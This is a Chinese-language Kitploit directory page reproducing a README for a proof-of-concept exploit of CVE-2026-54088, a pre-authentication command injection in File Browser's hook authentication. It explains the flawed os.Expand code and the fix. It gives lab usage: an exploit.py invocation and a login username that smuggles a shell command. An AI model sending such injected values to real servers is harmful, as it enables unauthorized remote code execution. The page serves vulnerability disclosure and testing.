Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-54088-poc — CVE-2026-54088 的概念验证漏洞利用程序,该漏洞是 File Browser <=2.63.5 中存在的预认证操作系统命令注入漏洞。演示了通过 Hook 认证进行 shell 注入,以实现远程代码执行。 | Kitploit
工具/GitHubGitHub/saku0512/cve-2026-54088-poc
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制学习与教育Payload 开发
GitHubsaku0512/cve-2026-54088-poc

CVE-2026-54088-poc

CVE-2026-54088 的概念验证漏洞利用程序,该漏洞是 File Browser <=2.63.5 中存在的预认证操作系统命令注入漏洞。演示了通过 Hook 认证进行 shell 注入,以实现远程代码执行。

查看仓库
1443个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-54088: 认证钩子的Shell替换导致命令注入(预认证RCE)

English version

概要

此仓库是 File Browser 版本 <= 2.63.5 中存在的一个严重OS命令注入漏洞 CVE-2026-54088 的 Proof of Concept (PoC)。

该漏洞存在于 Hook Authentication 功能中。当管理员配置 File Browser 使用外部命令进行用户认证时,登录时提交的 username 和 password 会被未经转义地通过 os.Expand() 展开到已配置的命令字符串中。未认证的远程攻击者可以通过登录请求注入 Shell 语法,在认证成功之前执行任意命令。

发现者: saku0512 (https://github.com/Saku0512)


免责声明

本项目仅用于教育目的和道德安全测试。

对于滥用、损坏或非法行为,作者不承担任何责任。未经授权访问计算机系统是违法的。请仅在获得明确许可的环境中使用本软件。


漏洞详情

  • CVE ID: CVE-2026-54088
  • Advisory: GHSA-m93h-4hw7-5qcm
  • 类型: OS 命令注入 (CWE-78)
  • 影响: 预认证远程代码执行 (RCE)
  • 受影响版本: File Browser <= 2.63.5
  • 修复版本: File Browser 2.63.6
  • 受影响文件: auth/hook.go
  • 受影响函数: HookAuth.RunCommand

根本原因

HookAuth.RunCommand() 将配置的认证命令分割,并使用攻击者可控制的请求数据展开认证信息的占位符。

envMapping := func(key string) string {
    switch key {
    case "USERNAME":
        return a.Cred.Username
    case "PASSWORD":
        return a.Cred.Password
    default:
        return os.Getenv(key)
    }
}

for i, arg := range command {
    if i == 0 {
        continue
    }
    command[i] = os.Expand(arg, envMapping)
}

当 hook 命令配置如下时:

sh -c $USERNAME

攻击者发送以下 username:

touch /tmp/fb_hook_auth_pwned; echo hook.action=block

在登录尝试过程中,服务器会执行攻击者控制的 shell 脚本。不需要有效的账户或密码。

修复内容

此问题通过 commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f 修复,从 hook 命令字符串中移除了凭据替换处理。hook 命令按原样执行,凭据仅作为环境变量传递。

command := strings.Split(a.Command, " ")

cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))

被移除的脆弱处理是在调用 exec.Command() 之前,通过 os.Expand() 循环用攻击者可控制的凭据重写命令参数。本次修复还包括回归测试,确保注入的凭据无法修改 hook 命令,并且 USERNAME / PASSWORD 仍可通过环境变量供 hook 使用。


Proof of Concept (使用方法)

1. 环境设置

启动存在漏洞的 File Browser 环境。filebrowser-init 服务创建数据库,并使用易受攻击的命令启用 Hook Authentication。

docker compose up -d

目标可通过以下 URL 访问:

http://localhost:8080

2. 运行 Exploit

从此目录运行 exploit 脚本。

python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"

该 exploit 向 /api/login 发送一次未认证的登录请求。预计认证会失败,但在那之前注入的命令将被执行。

3. 通过 GUI 确认

在浏览器中打开 File Browser 登录页面:

http://localhost:8080

在登录表单中输入以下值并点击登录按钮:

Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything

登录会失败,但 Hook Authentication 的命令执行发生在认证结果返回之前。通过以下命令确认 GUI 操作已在容器内创建标记文件:

docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned

如果文件存在,则确认通过 GUI 登录操作也发生了预认证 RCE。

4. 验证 CLI PoC

确认命令已在 File Browser 容器内执行:

docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned

如果文件存在,则确认预认证 RCE 成功。

5. 清理

docker compose down -v

修复建议

请将 File Browser 更新到 版本 2.63.6 或更高版本。

凭据不应嵌入到 shell 命令字符串中,而应仅作为环境变量传递给 hook 命令。对于其他命令执行路径,也应避免 shell 评估,或进行严格的参数分离和转义。


参考信息

  • File Browser GitHub 仓库
  • File Browser v2.63.5 存在漏洞的实现
  • 修复提交:移除未文档化的 shell 替换 hook 认证
下载工具